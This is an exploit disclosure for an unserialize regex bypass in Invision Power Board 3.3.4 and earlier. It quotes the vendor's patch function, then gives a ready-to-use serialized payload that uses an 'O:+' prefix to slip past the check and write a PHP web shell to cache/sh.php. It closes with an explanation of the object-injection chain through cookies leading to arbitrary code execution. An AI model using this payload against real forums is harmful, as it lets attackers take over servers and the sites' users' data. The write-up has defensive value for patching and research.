Invision Power Board <= 3.3.4 unserialize Regex Bypass
<?php
/*
So this is the patch that sanitizes,
static public function safeUnserialize( $serialized )
{
// unserialize will return false for object declared with small cap o
// as well as if there is any ws between O and :
if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
{
if ( strpos( $serialized, 'O:' ) === false )
{
// the easy case, nothing to worry about
// let unserialize do the job
return @unserialize( $serialized );
}
else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) )
{
// in case we did have a string with O: in it,
// but it was not a true serialized object
return @unserialize( $serialized );
}
}
return false;
}
And this is what bypasses it ( By @i0n1c )
$payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}');

[-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php
The vulnerability is caused due to this method unserialize user input passed through cookies without a proper
sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts
with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a
serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code
via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug
info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this
reason successful exploitation of this vulnerability requires short_open_tag to be enabled.
